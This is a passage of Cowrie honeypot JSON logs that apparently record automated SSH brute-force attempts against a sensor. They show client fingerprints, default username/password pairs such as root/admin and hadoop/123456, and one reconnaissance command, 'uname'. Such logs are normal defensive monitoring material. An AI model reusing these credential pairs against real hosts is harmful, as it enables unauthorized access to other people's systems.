ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:37.054682Z","src_ip":"45.156.87.254","session":"666fc5f2a68e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yarn","password":"yarn","message":"login attempt [yarn/yarn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:37.446638Z","src_ip":"45.156.87.254","session":"666fc5f2a68e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:38.532967Z","src_ip":"45.156.87.254","session":"666fc5f2a68e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.708091259002686,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:39.515329Z","src_ip":"20.123.41.163","session":"3bcc813843e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":53450,"dst_ip":"159.203.135.109","dst_port":22,"session":"11ac498e0fe3","protocol":"ssh","message":"New connection: 45.156.87.254:53450 (159.203.135.109:22) [session: 11ac498e0fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:41.743867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:41.748427Z","src_ip":"45.156.87.254","session":"11ac498e0fe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:41.832956Z","src_ip":"45.156.87.254","session":"11ac498e0fe3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:42.325824Z","src_ip":"45.156.87.254","session":"11ac498e0fe3","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:42.543626Z","src_ip":"45.156.87.254","session":"11ac498e0fe3","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:42.546564Z","src_ip":"45.156.87.254","session":"11ac498e0fe3","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:42.634559Z","src_ip":"45.156.87.254","session":"11ac498e0fe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:42.639652Z","src_ip":"45.156.87.254","session":"11ac498e0fe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":53460,"dst_ip":"159.203.135.109","dst_port":22,"session":"b49a9adab7ac","protocol":"ssh","message":"New connection: 45.156.87.254:53460 (159.203.135.109:22) [session: b49a9adab7ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:46.540933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:46.683711Z","src_ip":"45.156.87.254","session":"b49a9adab7ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:46.687752Z","src_ip":"45.156.87.254","session":"b49a9adab7ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:47.062446Z","src_ip":"45.156.87.254","session":"b49a9adab7ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:48.150926Z","src_ip":"45.156.87.254","session":"b49a9adab7ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":56080,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e4930fd15a2","protocol":"ssh","message":"New connection: 186.30.115.187:56080 (10.17.0.5:22) [session: 5e4930fd15a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:50.679240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:50.688742Z","src_ip":"186.30.115.187","session":"5e4930fd15a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:50.784769Z","src_ip":"186.30.115.187","session":"5e4930fd15a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"newpass","message":"login attempt [test/newpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:51.201713Z","src_ip":"186.30.115.187","session":"5e4930fd15a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":57136,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c8db6c2deb0","protocol":"ssh","message":"New connection: 45.156.87.254:57136 (159.203.135.109:22) [session: 7c8db6c2deb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:51.780879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:51.785350Z","src_ip":"45.156.87.254","session":"7c8db6c2deb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:51.989449Z","src_ip":"45.156.87.254","session":"7c8db6c2deb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:52.299184Z","src_ip":"186.30.115.187","session":"5e4930fd15a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123","message":"login attempt [frappe/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:52.347778Z","src_ip":"45.156.87.254","session":"7c8db6c2deb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:53.436822Z","src_ip":"45.156.87.254","session":"7c8db6c2deb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":57160,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd380c3dd6d1","protocol":"ssh","message":"New connection: 45.156.87.254:57160 (159.203.135.109:22) [session: fd380c3dd6d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:56.841579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:56.876962Z","src_ip":"45.156.87.254","session":"fd380c3dd6d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:56.930192Z","src_ip":"45.156.87.254","session":"fd380c3dd6d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345678","message":"login attempt [user1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:57.253372Z","src_ip":"45.156.87.254","session":"fd380c3dd6d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:58.338264Z","src_ip":"45.156.87.254","session":"fd380c3dd6d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":41286,"dst_ip":"10.17.0.5","dst_port":22,"session":"364483849ef4","protocol":"ssh","message":"New connection: 185.16.214.226:41286 (10.17.0.5:22) [session: 364483849ef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:00.965189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:00.970630Z","src_ip":"185.16.214.226","session":"364483849ef4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:01.097299Z","src_ip":"185.16.214.226","session":"364483849ef4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51974,"dst_ip":"159.203.135.109","dst_port":22,"session":"06cc74f8d16c","protocol":"ssh","message":"New connection: 45.156.87.254:51974 (159.203.135.109:22) [session: 06cc74f8d16c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:01.384808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:01.496113Z","src_ip":"45.156.87.254","session":"06cc74f8d16c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:01.500839Z","src_ip":"45.156.87.254","session":"06cc74f8d16c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"gitpassword","message":"login attempt [git/gitpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:01.655661Z","src_ip":"185.16.214.226","session":"364483849ef4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:01.901252Z","src_ip":"45.156.87.254","session":"06cc74f8d16c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:02.787423Z","src_ip":"185.16.214.226","session":"364483849ef4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:02.987628Z","src_ip":"45.156.87.254","session":"06cc74f8d16c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":51978,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9d7f82caaf4","protocol":"ssh","message":"New connection: 45.156.87.254:51978 (159.203.135.109:22) [session: e9d7f82caaf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:06.633139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:00:06.638999Z","src_ip":"45.156.87.254","session":"e9d7f82caaf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 